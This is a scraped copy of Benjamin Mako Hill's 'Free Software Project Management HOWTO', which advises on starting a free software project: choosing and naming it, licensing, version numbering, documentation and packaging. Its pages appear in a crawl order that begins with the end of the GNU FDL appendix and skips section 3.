You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice.

The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.

In the combination, you must combine any sections entitled "History" in the various original documents, forming one section entitled "History"; likewise combine any sections entitled "Acknowledgements", and any sections entitled "Dedications". You must delete all sections entitled "Endorsements."

A.7. 6. COLLECTIONS OF DOCUMENTS

You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.

You may extract a single document from such a collection, and dispbibute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.

A.8. 7. AGGREGATION WITH INDEPENDENT WORKS

A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, does not as a whole count as a Modified Version of the Document, provided no compilation copyright is claimed for the compilation. Such a compilation is called an "aggregate", and this License does not apply to the other self-contained works thus compiled with the Document , on account of their being thus compiled, if they are not themselves derivative works of the Document. If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one quarter of the entire aggregate, the Document's Cover Texts may be placed on covers that surround only the Document within the aggregate. Otherwise they must appear on covers around the whole aggregate.

A.9. 8. TRANSLATION

Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License provided that you also include the original English version of this License. In case of a disagreement between the translation and the original English version of this License, the original English version will prevail.

A.10. 9. TERMINATION

You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.

A.11. 10. FUTURE REVISIONS OF THIS LICENSE

The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.

Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.

Prev | Home
Bibliography |


Free Software Project Management HOWTO

Benjamin "Mako" Hill

mako@debian.org

Revision History
Revision v0.3.2 | 15 April 2002 | Revised by: bch
Revision v0.3.1 | 18 June 2001 | Revised by: bch
Revision v0.3 | 5 May 2001 | Revised by: bch
Revision v0.2.1 | 10 April 2001 | Revised by: bch
Revision v0.2 | 8 April 2001 | Revised by: bch
Revision v0.01 | 27 March 2001 | Revised by: bch
Initial Release

This HOWTO is designed for people with experience in programming and some skills in managing a software project but who are new to the world of free software. This document is meant to act as a guide to the non-technical aspects of free software project management and was written to be a crash course in the people skills that aren't taught to commercial coders but that can make or break a free software project.

Table of Contents
1. Introduction
1.1. Copyright Information
1.2. Disclaimer
1.3. New Versions
1.4. Credits
1.5. Feedback
1.6. Translations
2. Starting a Project
2.1. Choosing a Project
2.2. Naming your project
2.3. Licensing your Software
2.4. Choosing a Method of Version Numbering
2.5. Documentation
2.6. Other Presentation Issues
3. Maintaining a Project: Interacting with Developers
3.1. Delegating Work
3.2. Accepting and Rejecting Patches
3.3. Stable and Development Branches
3.4. Other Project Management issues
3.5. Forks
4. Maintaining a Project: Interacting with Users
4.1. Testing and Testers
4.2. Setting up Support Infrastructure
4.3. Releasing Your Program
4.4. Announcing Your Project
Bibliography
A. GNU Free Documentation License
A.1. 0. PREAMBLE
A.2. 1. APPLICABILITY AND DEFINITIONS
A.3. 2. VERBATIM COPYING
A.4. 3. COPYING IN QUANTITY
A.5. 4. MODIFICATIONS
A.6. 5. COMBINING DOCUMENTS
A.7. 6. COLLECTIONS OF DOCUMENTS
A.8. 7. AGGREGATION WITH INDEPENDENT WORKS
A.9. 8. TRANSLATION
A.10. 9. TERMINATION
A.11. 10. FUTURE REVISIONS OF THIS LICENSE
Next
Introduction


Introduction

Free Software Project Management HOWTO
Prev Next

1. Introduction

Skimming through freshmeat.net provides mountains of reasons for this HOWTO's existence--the Internet is littered with excellently written and useful programs that have faded away into the universe of free software forgottenness. This dismal scene made me ask myself, "Why?"

This HOWTO tries to do a lot of things (probably too many), but it can't answer that question and won't attempt it. What this HOWTO will attempt to do is give your Free Software project a fighting chance--an edge. If you write a piece of crap that no one is interested in, you can read this HOWTO until you can recite it in your sleep and your project will probably fail. Then again, you can write a beautiful, relevant piece of software and follow every instruction in this HOWTO and your software may still not make it. Sometimes life is like that. However, I'll go out a limb and say that if you write a great, relevant pieces of software and ignore the advise in this HOWTO, you'll probably fail more often.

A lot of the information in this HOWTO is best called common sense. Of course, as any debate on interfaces will prove, what is common sense to some programmers proves totally unintuitive to others. After explaining bits and pieces of this HOWTO to Free Software developers on several occasions, I realized that writing this HOWTO might provide a useful resource and a forum for programmers to share ideas about what has and has not worked for them.

As anyone involved in any of what seems like an unending parade of ridiculous intellectual property clashes will attest to, a little bit of legalese proves important.

1.1. Copyright Information

This document is copyrighted (c) 2000 Benjamin "Mako" Hill and is distributed under the terms of the GNU Free Documentation License.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license can be found in Appendix A.

1.2. Disclaimer

No liability for the contents of this documents can be accepted. Use the concepts, examples and other content at your own risk. As this is a new edition of this document, there may be errors and inaccuracies, that may of course be damaging to your project (and potentially your system). Proceed with caution, and although this is highly unlikely, the author(s) does not take any responsibility for that.

All copyrights are held by their by their respective owners, unless specifically noted otherwise. Use of a term in this document should not be regarded as affecting the validity of any trademark or service mark.

Naming of particular products or brands should not be seen as endorsements.

1.3. New Versions

This version is the part of the third pre-release cycle of this HOWTO. It is written to be released to developers for critique and brainstorming. Please keep in mind that this version of the HOWTO is still in an infant stage and will continue to be revised extensively.

The latest version number of this document should always be listed on the projects homepage hosted by yukidoke.org.

The newest version of this HOWTO will always be made available at the same website, in a variety of formats:

  • HTML.

  • HTML (single page).

  • plain text.

  • Compressed postscript.

  • Compressed SGML source.

1.4. Credits

In this version I have the pleasure of acknowledging:

Fellow Debian developer Martin Michlmayr and Vivek Venugopalan who sent me information and links to extremely interesting articles. I've added both to the bibliography and I've added information from each into the HOWTO. Thanks to Andrew Shugg who pointed out several errors in the document. Also, a big thanks to Sung Wook Her (AKA RedBaron) who is doing the first translation of the HOWTO into Korean. I've been happy to see that people have enjoyed and benefited from the HOWTO so far.

Older thanks that I don't want to take out yet include: Josh Crawford, Andy King, and Jaime Davila who all read through this in entirety and gave me feedback that has helped me make changes and improvements to this document. I can't thank you guys enough for your help. An extra "Thank You" goes to Andy King who who read through this several times and submitted patches to make life easier for me.

Karl Fogel, the author of Open Source Development with CVS published by the Coriolis Open Press. Large parts of his book are available on the web. 225 pages of the book are available under the GPL and constitute the best tutorial on CVS I've ever seen. The rest of the book covers, "the challenges and philosophical issues inherent in running an Open Source project using CVS." The book does a good job of covering some of the subjects brought up in this HOWTO and much more. The book's website has information on ordering the book and provides several translations of the chapters on CVS. If you are seriously interested in running a Free Software project, you want this book. I tried to mention Fogel in sections of this HOWTO where I knew I was borrowing directly from his ideas. If I missed any, I'm sorry. I'll try and have those fixed in future versions.

Karl Fogel can be reached at <kfogel (at) red-bean (dot) com>

Also providing support material, and inspiration for this HOWTO is Eric S. Raymond for his prolific, consistent, and carefully crafted arguments and Lawrence Lessig for reminding me of the importance of Free Software. Additionally, I want to thank every user and developer involved with the Debian Project. The project has provided me with a home, a place to practice free software advocacy, a place to make a difference, a place to learn from those who have been involved with the movement much longer than I, and proof of a free software project that definitely, definitely works.

Above all, I want to thank Richard Stallman for his work at the Free Software Foundation and for never giving up. Stallman provides and articulates the philosophical basis that attracts me to free software and that drives me toward writing a document to make sure it succeeds. RMS can always be emailed at <rms (at) gnu (dot) org>.

1.5. Feedback

Feedback is always and most certainly welcome for this document. Without your submissions and input, this document wouldn't exist. Do you feel that something is missing? Don't hesitate to contact me to have me write a chapter, section, or subsection or to write one yourself. I want this document to be a product of the Free Software development process that it heralds and I believe that its ultimate success will be rooted in its ability to do this. Please send your additions, comments, and criticisms to the following email address: <mako@debian.org>.

1.6. Translations

I know that not everyone speaks English. Translations are nice and I'd love for this HOWTO to gain the kind of international reach afforded by translated versions.

I've been contacted by a reader who promises a translation into Korean. However, this HOWTO is still young and other than the promise of Korean, English is all that is currently available. If you would like to help with or do a translation, you will gain my utmost respect and admiration and you'll get to be part of a cool process. If you are at all interested, please don't hesitate to contact me at: <mako@debian.org>.

Prev | Home | Next
Free Software Project Management HOWTO |  | Starting a Project


Starting a Project

Free Software Project Management HOWTO
Prev Next

2. Starting a Project

With very little argument, the beginning is the most difficult period in a project's life to do successful free software project management. Laying a firm foundation will determine whether your project flourishes or withers away and dies. It is also the subject that is of most immediate interest to anyone reading this document as a tutorial.

Starting a project involves a dilemma that you as a developer must try and deal with: no potential user for your program is interested in a program that doesn't work, while the development process that you want to employ holds involvement of users as imperative.

It is in these dangerous initial moments that anyone working to start a free software project must try and strike a balance along these lines. One of the most important ways that someone trying to start a project can work toward this balance is by establishing a solid framework for the development process through some of the suggestions mentioned in this section.

2.1. Choosing a Project

If you are reading this document, there's a good chance you already have an idea for a project in mind. Chances are also pretty good that it fills a perceived gap by doing something that no other free software project does or by doing something in a way that is unique enough to necessitate a brand new piece of software.

2.1.1. Identify and articulate your idea

Eric S. Raymond writes about how free software projects start in his essay, "The Cathedral and the Bazaar," which comes as required reading for any free software developer. It is available online .

In "The Cathedral and the Bazaar," Raymond tells us that: "every good work of software starts by scratching a developers itch." Raymond's now widely accepted hypothesis is that new free software programs are written, first and foremost, to solve a specific problem facing the developer.

If you have an idea for a program in mind, chances are good that it targets a specific problem or "itch" you want to see scratched. This idea is the project. Articulate it clearly. Write it out. Describe the problem you will attack in detail. The success of your project in tackling a particular problem will be tied to your ability to identify that problem clearly early on. Find out exactly what it is that you want your project to do.

Monty Manley articulates the importance of this initial step in an essay, "Managing Projects the Open Source Way." As the next section will show, there is a lot of work that needs to be done before software is even ready to be coded. Manley says, "Beginning an OSS project properly means that a developer must, first and foremost, avoid writing code too soon!"

2.1.2. Evaluate your idea

In evaluating your idea, you need to first ask yourself a few questions. This should happen before you move any further through this HOWTO. Ask yourself: Is the free software development model really the right one for your project?

Obviously, since the program scratches your itch, you are definitely interested in seeing it implemented in code. But, because one hacker coding in solitude fails to qualify as a free software development effort, you need to ask yourself a second question: Is anybody else interested?

Sometimes the answer is a simple "no." If you want to write a set of scripts to sort your MP3 collection on your machine, maybe the free software development model is not the best one to choose. However, if you want to write a set of scripts to sort anyone's MP3s, a free software project might fill a useful gap.

Luckily, the Internet is a place so big and so diverse that, chances are, there is someone, somewhere, who shares your interests and who feels the same "itch." It is the fact that there are so many people with so many similar needs and desires that introduces the third major question: Has somebody already had your idea or a reasonably similar one?

2.1.2.1. Finding Similar Projects

There are places you can go on the web to try and answer the question above. If you have experience with the free software community, you are probably already familiar with many of these sites. All of the resources listed below offer searching of their databases:

freshmeat.net

freshmeat.net describes itself as, "the Web's largest index of Linux and Open Source software" and its reputation along these lines is totally unparalleled and unquestioned. If you can't find it on freshmeat, its doubtful that you (or anyone else) will find it at all.

Slashdot

Slashdot provides "News for Nerds. Stuff that matters," which usually includes discussion of free software, open source, technology, and geek culture news and events. It is not unusual for a particularly sexy development effort to be announced here, so it is definitely worth checking.

SourceForge

SourceForge houses and facilitates a growing number of open source and free software projects. It is also quickly becoming a nexus and a necessary stop for free software developers. SourceForge's software map and new release pages should be necessary stops before embarking on a new free software project. SourceForge also provides a Code Snippet Library which contains useful reusable chunks of code in an array of languages which can come in useful in any project.

Google and Google's Linux Search

Google and Google's Linux Search, provides powerful web searches that may reveal people working on similar projects. It is not a catalog of software or news like freshmeat or Slashdot, but it is worth checking to make sure you aren't pouring your effort into a redundant project.

2.1.2.2. Deciding to Proceed

Once you have successfully charted the terrain and have an idea about what kinds of similar free software projects exist, every developer needs to decide whether to proceed with their own project. It is rare that a new project seeks to accomplish a goal that is not at all similar or related to the goal of another project. Anyone starting a new project needs to ask themselves: "Will the new project be duplicating work done by another project? Will the new project be competing for developers with an existing project? Can the goals of the new project be accomplished by adding functionality to an existing project?"

If the answer to any of these questions is "yes," try to contact the developer of the existing project(s) in question and see if he or she might be willing to collaborate with you.

For many developers this may be the single most difficult aspect of free software project management, but it is an essential one. It is easy to become fired up by an idea and get caught up in the momentum and excitement of a new project. It is often extremely difficult to do, but it is important that any free software developer remembers that the best interests of the free software community and the quickest way to accomplish your own project's goals and the goals of similar projects can often be accomplished by not starting a new development effort.

2.2. Naming your project

While there are plenty of projects that fail with descriptive names and plenty that succeed without them, I think naming your project is worth giving a bit of thought. Leslie Orchard tackles this issue in an Advogato article. His article is short and definitely worth looking over quickly.

The synopsis is that Orchard recommends you pick a name where, after hearing the name, many users or developers will both:

  • Know what the project does.

  • Remember it tomorrow.

Humorously, Orchard's project, "Iajitsu," does neither. It is probably unrelated that development has effectively frozen since the article was written.

He makes a good point though. There are companies whose only job is to make names for pieces of software. They make ridiculous amount of money doing it and are supposedly worth it. While you probably can't afford a company like this, you can afford to learn from their existence and think a little bit about the name you are giving your project because it does matter.

If there is a name you really want but it doesn't fit Orchard's criteria, you can still go ahead. I thought "gnubile" was one of the best I'd heard for a free software project ever and I still talk about it long after I've stopped using the program. However, if you can be flexible on the subject, listen to Orchard's advice. It might help you.

2.3. Licensing your Software

On one (somewhat simplistic) level, the difference between a piece of free software and a piece of propriety software is the license. A license helps you as the developer by protecting your legal rights to have your software distributed under your terms and helps demonstrate to those who wish to help you or your project that they are encouraged to join.

2.3.1. Choosing a license

Any discussion of licenses is also sure to generate at least a small flame war as there are strong feelings that some free software licenses are better than others. This discussion also brings up the question of "Open Source Software" and the debate over the terms "Open Source Software" and "Free Software". However, because I've written the Free Software Project Management HOWTO and not the Open Source Software Project Management HOWTO, my own allegiances in this argument are in the open.

In attempting to reach a middle ground through diplomacy without sacrificing my own philosophy, I will recommend picking any license that conforms to the Debian Free Software Guidelines. Originally compiled by the Debian project under Bruce Perens, the DFSG forms the first version of the Open Source Definition. Examples of free licenses given by the DFSG are the GPL, the BSD, and the Artistic License. As ESR mentions in his his HOWTO[ESRHOWTO], don't write your own license if at all possible. The three licenses I mention all have long interpretive traditions. They are also definitely free software (and can therefore be distributed as part of Debian and in other places that permit the transfer of free software).

Conforming to the definition of free software offered by Richard Stallman in "The Free Software Definition", any of these licenses will uphold, "users' freedom to run, copy, distribute, study, change and improve the software." There are plenty of other licenses that also conform to the DFSG but sticking with a more well-known license will offer the advantage of immediate recognition and understanding. Many people write three or four sentences in a COPYING file and assume that they have written a free software license--as my long experience with the debian-legal mailing professes, this is very often not the case.

In attempting a more in-depth analysis, I agree with Karl Fogel's description of licenses as falling into two groups: those that are the GPL and those that are not the GPL.

Personally, I license all my software under the GPL. Created and protected by the Free Software Foundation and the GNU Project, the GPL is the license for the Linux kernel, GNOME, Emacs, and the vast majority of GNU/Linux software. It's the obvious choice but I also believe it is a good one. Any BSD fanatic will urge you to remember that there is a viral aspect to the GPL that prevents the mixture of GPL'ed code with non-GPL'ed code. To many people (myself included), this is a benefit, but to some, it is a major drawback.

Many people write three or four sentences in a COPYING file and assume that they have written a free software license--as my long experience with the debian-legal mailing professes, this is very often not the case. It may not protect you, it may not protect your software, and it may make things very difficult for people that want to use your software but who pay a lot of attention to the subtle legal points of licenses. If you are passionate about a home-brewed license, run it by either people at OSI or the debian-legal mailing list first protect yourself from unanticipated side-effects of your license.

The three major licenses can be found at the following locations:

  • The GNU General Public License

  • The BSD License

  • The Artistic License

In any case, please read through any license before your release your software under it. As the primary developer, you can't afford any license surprises.

2.3.2. The mechanics of licensing

The text of the GPL offers a good description of the mechanics of applying a license to a piece of software. My quick checklist for applying a license includes:

  • Make yourself or the FSF the copyright holder for the work. In a few rare cases, you might want to make a sponsoring organization (if it's big and powerful enough) the copyright holder instead. Doing this is as simple as putting the name in the blank when you modify the notice of copyright below. Contrary to popular belief, you don't need to file with any organization. The notice alone is enough to copyright your work.

  • If at all possible, attach and distribute a full copy of the license with the source and binary by including a separate file.

  • At the top of each source file in your program, attach a notice of copyright and include information on where the full license can be found. The GPL recommends that each file begin with:

    one line to give the program's name and an idea of what it does.
Copyright (C) yyyy  name of author

This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.

    The GPL goes on to recommend attaching information on methods for contacting you (the author) via email or physical mail.

  • The GPL continues and suggests that if your program runs in an interactive mode, you should write the program to output a notice each time it enters interactive mode that includes a message like this one that points to full information about the programs license:

    Gnomovision version 69, Copyright (C) year name of author
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details
type `show w'.  This is free software, and you are welcome
to redistribute it under certain conditions; type `show c'
for details.

  • Finally, it might be helpful to include a "copyright disclaimer" from an employer or a school if you work as a programmer or if it seems like your employer or school might be able to make an argument for ownership of your code later on. These aren't often needed but there are plenty of free software developers who have gotten into trouble and wish they'd asked for one.

2.3.3. Final license warning

Please, please, please, place your software under some license. It may not seem important, and to you it may not be, but licenses are important. For a piece of software to be included in the Debian GNU/Linux distribution, it must have a license that fits the Debian Free Software Guidelines. If your software has no license, it can not be distributed as a package in Debian until you re-release it under a free license. Please save yourself and others trouble by releasing the first version of your software with a clear license.

2.4. Choosing a Method of Version Numbering

The most important thing about a system of version numbering is that there is one. It may seem pedantic to emphasize this point but you'd be surprised at the number of scripts and small programs that pop up without any version number at all.

The second most important thing about a system of numbering is that the numbers always go up. Automatic version tracking systems and people's sense of order in the universe will fall apart if version numbers don't rise. It doesn't really matter if 2.1 is a big jump and 2.0.005 is a small jump but it does matter that 2.1 is more recent than 2.0.005.

Follow these two simple rules and you will not go (too) wrong. Beyond this, the most common technique seems to be the "major level," "minor level," "patch level" version numbering scheme. Whether you are familiar with the name or not, you interact with it all the time. The first number is the major number and it signifies major changes or rewrites. The second number is the minor number and it represents added or tweaked functionality on top of a largely coherent structure. The third number is the patch number and it usually will only refer to releases fixing bugs.

The widespread use of this scheme is why I know the nature and relative degree in the differences between a 2.4.12 release of the Linux kernel and a 2.4.11, 2.2.12, and 1.2.12 without knowing anything about any of the releases.

You can bend or break these rules, and people do. But beware, if you choose to, someone will get annoyed, assume you don't know, and try and educate you, probably not nicely. I always follow this method and I implore you to do so as well.

There are several version numbering systems that are well known, useful, and that might be worth looking into before you release your first version.

Linux kernel version numbering:

The Linux kernel uses a versioning system where any odd minor version number refers to an development or testing release and any even minor version number refers to a stable version. Think about it for a second. Under this system, 2.1 and 2.3 kernels were and always will be development or testing kernels and 2.0, 2.2. and 2.4 kernels are all production code with a higher degree of stability and more testing.

Whether you plan on having a split development model (as described in Section 3.3) or only one version released at a time, my experience with several free software projects and with the Debian project has taught me that use of Linux's version numbering system is worth taking into consideration. In Debian, all minor versions are stable distributions (2.0, 2.1, etc). However, many people assume that 2.1 is an unstable or development version and continue to use an older version until they get so frustrated with the lack of development progress that they complain and figure the system out. If you never release an odd minor version but only release even ones, nobody is hurt, and less people are confused. It's an idea worth taking into consideration.

Wine version numbering:

Because of the unusual nature of wine's development where the not-emulator is constantly improving but not working toward any immediately achievable goal, wine is released every three weeks. Wine does this by labeling their releases in "Year Month Day" format where each release might be labeled "wine-XXXXXXXX" where the version from January 04, 2000 would be "wine-20000104". For certain projects, "Year Month Day" format can make a lot of sense.

Mozilla milestones:

When one considers Netscape 6 and vendor versions, the mozilla's project development structure is one of the most complex free software models available. The project's version numbering has reflected the unique situation in which it is developed.

Mozilla's version numbering structure has historically been made up of milestones. From the beginning of the mozilla project, the goals of the project in the order and degree to which they were to be achieved were charted out on a series of road maps. Major points and achievements along these road-maps were marked as milestones. Therefore, although Mozilla was built and distributed nightly as "nightly builds," on a day when the goals of a milestone on the road-map had been reached, that particular build was marked as a "milestone release."

While I haven't seen this method employed in any other projects to date, I like the idea and think that it might have value in any testing or development branch of a large application under heavy development.

2.5. Documentation

A huge number of otherwise fantastic free software applications have withered and died because their author was the only person who knew how to use them fully. Even if your program is written primarily for a techno-savvy group of users, documentation is helpful and even necessary for the survival of your project. You will learn later in Section 4.3 that you should always release something that is usable. A piece of software without documentation is not usable.

There are lots of different people you should document for and there are lots of ways to document your project. The importance of documentation in source code to help facilitate development by a large community is vital but it falls outside the scope of this HOWTO. This being the case, this section deals with useful tactics for user-directed documentation.

A combination of tradition and necessity has resulted in a semi-regular system of documentation in most free software projects that is worth following. Both users and developers expect to be able to get documentation in several ways and it's essential that you provide the information they are seeking in a form they can read if your project is ever going to get off the ground. People have come to expect:

2.5.1. Man pages

Your users will want to be able to type "man yourprojectname" end up with a nicely formatted man page highlighting the basic use of your application. Make sure that before you release your program, you've planned for this.

Man pages are not difficult to write. There is excellent documentation on the man page writing process available through the "The Linux Man-Page-HOWTO" which is available through the Linux Documentation project (LDP) and is written by Jens Schweikhardt. It is available from Schweikhardt's site or from the LDP.

It is also possible to write man pages using DocBook SGML. Because man pages are so simple and the DocBook method relatively new, I have not been able to follow this up but would love help from anyone who can give me more information on how exactly how this is done.

2.5.2. Command line accessible documentation

Most users will expect some basic amount of documentation to be easily available from the command line. For few programs should this type of documentation extend for more than one screen (24 or 25 lines) but it should cover the basic usage, a brief (one or two sentence) description of the program, a list of the commands with explanations, as well as all the major options (also with explanations), plus a pointer to more in-depth documentation for those who need it. The command line documentation for Debian's apt-get serves as an excellent example and a useful model:

apt 0.3.19 for i386 compiled on May 12 2000  21:17:27
Usage: apt-get [options] command
       apt-get [options] install pkg1 [pkg2 ...]

apt-get is a simple command line interface for downloading and
installing packages. The most frequently used commands are update
and install.

Commands:
   update - Retrieve new lists of packages
   upgrade - Perform an upgrade
   install - Install new packages (pkg is libc6 not libc6.deb)
   remove - Remove packages
   source - Download source archives
   dist-upgrade - Distribution upgrade, see apt-get(8)
   dselect-upgrade - Follow dselect selections
   clean - Erase downloaded archive files
   autoclean - Erase old downloaded archive files
   check - Verify that there are no broken dependencies

Options:
  -h  This help text.
  -q  Loggable output - no progress indicator
  -qq No output except for errors
  -d  Download only - do NOT install or unpack archives
  -s  No-act. Perform ordering simulation
  -y  Assume Yes to all queries and do not prompt
  -f  Attempt to continue if the integrity check fails
  -m  Attempt to continue if archives are unlocatable
  -u  Show a list of upgraded packages as well
  -b  Build the source package after fetching it
  -c=? Read this configuration file
  -o=? Set an arbitary configuration option, eg -o dir::cache=/tmp
See the apt-get(8), sources.list(5) and apt.conf(5) manual
pages for more information and options.

It has become a GNU convention to make this type of information accessible with the "-h" and the "--help" options. Most GNU/Linux users will expect to be able to retrieve basic documentation these ways so if you choose to use different methods, be prepared for the flames and fallout that may result.

2.5.3. Files users will expect

In addition to man pages and command-line help, there are certain files where people will look for documentation, especially in any package containing source code. In a source distribution, most of these files can be stored in the root directory of the source distribution or in a subdirectory of the root called "doc" or "Documentation." Common files in these places include:

README or Readme

A document containing all the basic installation, compilation, and even basic use instructions that make up the bare minimum information needed to get the program up and running. A README is not your chance to be verbose but should be concise and effective. An ideal README is at least 30 lines long and more no more than 250.

INSTALL or Install

The INSTALL file should be much shorter than the README file and should quickly and concisely describe how to build and install the program. Usually an INSTALL file simply instructs the user to run "./configure; make; make install" and touches on any unusual options or actions that may be necessary. For most relatively standard install procedures and for most programs, INSTALL files are as short as possible and are rarely over 100 lines.

CHANGELOG, Changelog, ChangeLog, or changelog

A CHANGELOG is a simple file that every well-managed free software project should include. A CHANGELOG is simple the file that, as its name implies, logs or documents the changes you make to your program. The most simple way to maintain a CHANGELOG is to simply keep a file with the source code for your program and add a section to the top of the CHANGELOG with each release describing what has been changed, fixed, or added to the program. It's a good idea to post the CHANGELOG onto the website as well because it can help people decide whether they want or need to upgrade to a newer version or wait for a more significant improvement.

NEWS

A NEWS file and a ChangeLog are similar. Unlike a CHANGELOG, a NEWS file is not typically updated with new versions. Whenever new features are added, the developer responsible will make a note in the NEWS file. NEWS files should not have to be changed before a release (they should be kept up to date all along) but it's usually a good idea to check first anyway because often developers just forget to keep them as current as they should.

FAQ

For those of you that don't already know, FAQ stands for Frequently Asked Questions and a FAQ is a collection of exactly that. FAQs are not difficult to make. Simply make a policy that if you are asked a question or see a question on a mailing list two or more times, add the question (and its answer) to your FAQ. FAQs are more optional than the files listed above but they can save your time, increase usability, and decrease headaches on all sides.

2.5.4. Website

It's only indirectly an issue of documentation but a good website is quickly becoming an essential part of any free software project. Your website should provide access to your documentation (in HTML if possible). It should also include a section for news and events around your program and a section that details the process of getting involved with development or testing and make an open invitation. It should also supply links to any mailing lists, similar websites, and provide a direct link to all the available ways of downloading your software.

2.5.5. Other documentation hints

  • All your documentation should be in plaintext, or, in cases where it is on your website primarily, in HTML. Everyone can cat a file, everyone has a pager, (almost) everyone can render HTML. You are welcome to distribute information in PDF, PostScript, RTF, or any number of other widely used formats but this information must also be available in plaintext or HTML or people will be very angry at you. In my opinion, info falls into this category as well. There is plenty of great GNU documentation that people simply don't read because it only in info. And this does make people angry. It's not a question of superior formats; it is a question of accessability and the status quo plays a huge role in this determination.

  • It doesn't hurt to distribute any documentation for your program from your website (FAQs etc) with your program. Don't hesitate to throw any of this in the program's tarball. If people don't need it, they will delete it. I can repeat it over and over: Too much documentation is not a sin.

  • Unless your software is particular to a non-English language (a Japanese language editor for example), please distribute it with English language documentation. If you don't speak English or not not confident in your skills, ask a friend for help. Like it or not, fair or unfair, English is the language of free software. However, this does not mean you should limit your documentation to only English. If you speak another language, distribute translations of documentation with your software if you have the time and energy to do so. They will invariably be useful to someone.

  • Finally, please spell-check your documentation. Misspellings in documentation are bugs. I'm very guilty of committing this error and it's extremely easy to do. If English is not your first language, have a native speaker look over or edit your documentation or web pages. Poor spelling or grammar goes a long way to making your code look unprofessional. In code comments, this type of thing is less important but in man pages and web pages these mistakes are not acceptable.

2.6. Other Presentation Issues

Many of the remaining issues surrounding the creation of a new free software program fall under what most people describe as common sense issues. Its often said that software engineering is 90 percent common sense combined with 10 percent specialized knowledge. Still, they are worth noting briefly in hopes that they may remind a developer of something they may have forgotten.

2.6.1. Package File Names

I agree with ESR when he says that: " It's helpful to everybody if your archive files all have GNU-like names -- all-lower-case alphanumeric stem prefix, followed by a dash, followed by a version number, extension, and other suffixes." There is more info (including lots of examples of what not to do in his Software Release Practices HOWTO which is included in this HOWTO's bibliography and can be found through the LDP.

2.6.2. Package formats

Package formats may differ depending on the system you are developing for. For windows based software, Zip archives (.zip) usually serve as the package format of choice. If you are developing for GNU/Linux, *BSD, or any UN*X, make sure that your source code is always available in tar'ed and gzip'ed format (.tar.gz). UNIX compress (.Z) has gone out of style and usefulness and faster computers have brought bzip2 (.bz2) into the spot-light as a more effective compression medium. I now make all my releases available in both gzip'ed and bzip2'ed tarballs.

Binary packages should always be distribution specific. If you can build binary packages against a current version of a major distribution, you will only make your users happy. Try to foster relationships with users or developers of large distributions to develop a system for the consistent creation of binary packages. It's often a good idea to provide RedHat RPM's (.rpm), Debian deb's (.deb) and source RPM's SRPM's if possible. Remember: While these binaries packages are nice, getting the source packaged and released should always be your priority. Your users or fellow developers can and will do the the binary packages for you.

2.6.3. Version control systems

A version control system can make a lot of these problems of packaging (and a lot of other problems mentioned in this HOWTO) less problematic. If you are using *NIX, CVS is your best bet. I recommend Karl Fogel's book on the subject (and the posted HTML version) wholeheartedly.

CVS or not, you should probably invest some time into learning about a version control system because it provides an automated way of solving many of the problems described by this HOWTO. I am not aware of any free version control systems for Windows or Mac OS but I know that CVS clients exist for both platforms. Websites like SourceForge do a great job as well with a nice, easy-to-use web interface to CVS.

I'd love to devote more space in this HOWTO to CVS because I love it (I even use CVS to keep versions straight on this HOWTO!) but I think it falls outside the scope of this document and already has its own HOWTOs. Most notably is the CVS Best Practices HOWTO [CVSBESTPRACTICES] which I've included in the attached bibliography.

2.6.4. Useful tidbits and presentation hints

Other useful hints include:

  • Make sure that your program can always be found in a single location. Often this means that you have a single directory accessible via FTP or the web where the newest version can be quickly recognized. One effective technique is a provide a symlink called "yourprojectname-latest" that is always pointing to the most recent released or development version of your free software application. Keep in mind that this location will receive many requests for downloads around releases so make sure that the server you choose has adequate bandwidth.

  • Make sure that there is a consistent email address for bug reports. It's usually a good idea to make this something that is NOT your primary email address like yourprojectname@host or yourprojectname-bugs@host. This way, if you ever decide to hand over maintainership or if your email address changes, you simply need to change where this email address forwards. It also will allow for more than one person to deal with the influx of mail that is created if your project becomes as huge as you hope it will.

Prev | Home | Next
Introduction |  | Maintaining a Project: Interacting with Developers


Maintaining a Project: Interacting with Users

Free Software Project Management HOWTO
Prev Next

4. Maintaining a Project: Interacting with Users

If you've worked your way up to here, congratulations, you are nearing the end of this document. This final section describes some of the situations in which you, in your capacity as project maintainer, will be interacting with users. It gives some suggestions on how these situations might be handled effectively.

